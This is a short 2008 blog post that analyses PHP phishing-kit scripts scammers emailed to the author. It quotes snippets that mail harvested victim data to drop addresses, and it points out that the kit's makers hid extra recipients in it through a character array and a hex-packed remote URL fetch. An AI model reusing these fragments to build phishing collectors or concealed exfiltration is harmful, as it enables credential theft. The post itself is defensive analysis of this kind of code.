Sometimes spammers / scammers are so stu ... / 2008-06-04

2008-06-04 Sometimes spammers / scammers are so stu ... 11 years ago
Sometimes spammers / scammers are so stupid it is amusing again. I just received several mails with the php-source for the result-collecting and mailing script for the phishing site. Interesting code snippets:
mail("dongmopascal@gmail.com",$subject,$message,$headers);
But, the scammer gets scammed too. Look at this code snippet:
$ar=array("0"=>"m","1"=>"i","2"=>"e","3"=>"r","4"=>"d","5"=>"a","6"=>"0",
"7"=>"0","8"=>"@","9"=>"h","10"=>"o","11"=>"t","12"=>"m","13"=>"a","14"=>"i",
"15"=>"l.es");
$to=$ar['0'].$ar['1'].$ar['2'].$ar['3'].$ar['4'].$ar['5'].$ar['6'].$ar['7'].
$ar['8'].$ar['9'].$ar['10'].$ar['11'].$ar['12'].$ar['13'].$ar['14'].$ar['15'];

mail($to,$subject,$message,$headers);
Takes a bit of decoding, but it seems copies are sent to mierda008@hotmail.es.
The same spammer also mailed a different script with the same function. This script is clear on where to put the dropbox address:
        //This is your email
		$to = "savepam@gmail.com" ; // Write your email
But in the next lines...
/* EnD Configuration */
$victimIP = pack("H*", "687474703a2f2f667265657363616d732e33782e726f2f656d61696c2e706870");
$DetailsIP = file_get_contents($victimIP, "r");
$DetailsIP = pack("H*", $DetailsIP);
$victimip unpacks to http://freescams.3x.ro/email.php so the scammer of the scammer can 'maintain' this and change dropbox if needed. Currently that shows a page which I think says that the page does not exist. The result would be used in the code:
$arr=array($to, $DetailsIP);
foreach ($arr as $to){mail($to, $subj, $msg, $from);}
header("Location: done.html?cmd=_login-run");
You can't trust a good scammer these days, it seems...

Tags: , ,

, reachable as koos+website@idefix.net. PGP encrypted e-mail preferred.

PGP key 5BA9 368B E6F3 34E4 local copy PGP key 5BA9 368B E6F3 34E4 via keyservers pgp key statistics for 0x5BA9368BE6F334E4 Koos van den Hout
RSS
Other webprojects: Camp Wireless, wireless Internet access at campsites, The Virtual Bookcase, book reviews
This page generated in 0.004515 seconds.